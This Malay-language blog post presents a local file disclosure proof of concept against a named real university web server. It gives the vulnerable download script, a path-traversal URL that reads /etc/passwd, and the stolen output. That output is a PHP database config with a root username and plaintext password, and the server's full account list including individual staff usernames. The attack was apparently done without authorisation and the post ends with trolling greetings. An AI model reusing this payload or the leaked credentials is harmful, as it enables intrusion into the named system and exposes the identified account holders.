LFD:Local File Disclosure (LFD) Exploitation POC

POC aka Proof of Concept

Website malaysia yang di test(iyo la tu)
http://fom.mmu.edu.my

lubang di http://fom.mmu.edu.my/GIM/download_document.php

POC

http://fom.mmu.edu.my/GIM/download_document.php?file=../../../../../etc/passwd

dan antara hasil pengetesan..

 
mysql-database.php


<?php
$db_host = "localhost";
$db_username = "root";
$db_pass =  "123123123";
$db_name = "gsm_database";
$myConnection = mysql_connect("$db_host","$db_username","$db_pass") or die ("could not connect to my sql");
mysql_select_db("$db_name") or die ("no database");
?>

etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:107::/var/run/dbus:/bin/false avahi-autoipd:x:103:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:104:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash speech-dispatcher:x:106:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh usbmux:x:107:46:usbmux daemon,,,:/home/usbmux:/bin/false haldaemon:x:108:114:Hardware abstraction layer,,,:/var/run/hald:/bin/false kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:110:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:111:117:RealtimeKit,,,:/proc:/bin/false saned:x:112:118::/home/saned:/bin/false hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false gdm:x:114:120:Gnome Display Manager:/var/lib/gdm:/bin/false fom:x:1000:1000:FOM,,,:/home/fom:/bin/bash sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:116:123:MySQL Server,,,:/var/lib/mysql:/bin/false proftpd:x:117:65534::/var/run/proftpd:/bin/false ftp:x:118:65534::/home/ftp:/bin/false gdyong:x:1001:1001:gdyong,,,:/home/gdyong:/bin/bash rathimala:x:1002:1002:rathimala,,,:/home/rathimala:/bin/bash

harap patch..

Selamat Hari Raya kepada semua troller, semua kaki godam di malaysia.. Maaf Zahir & Batin..

i came, i saw, i troll, i troll.. problem?

0 Response to "LFD:Local File Disclosure (LFD) Exploitation POC"

Post a Comment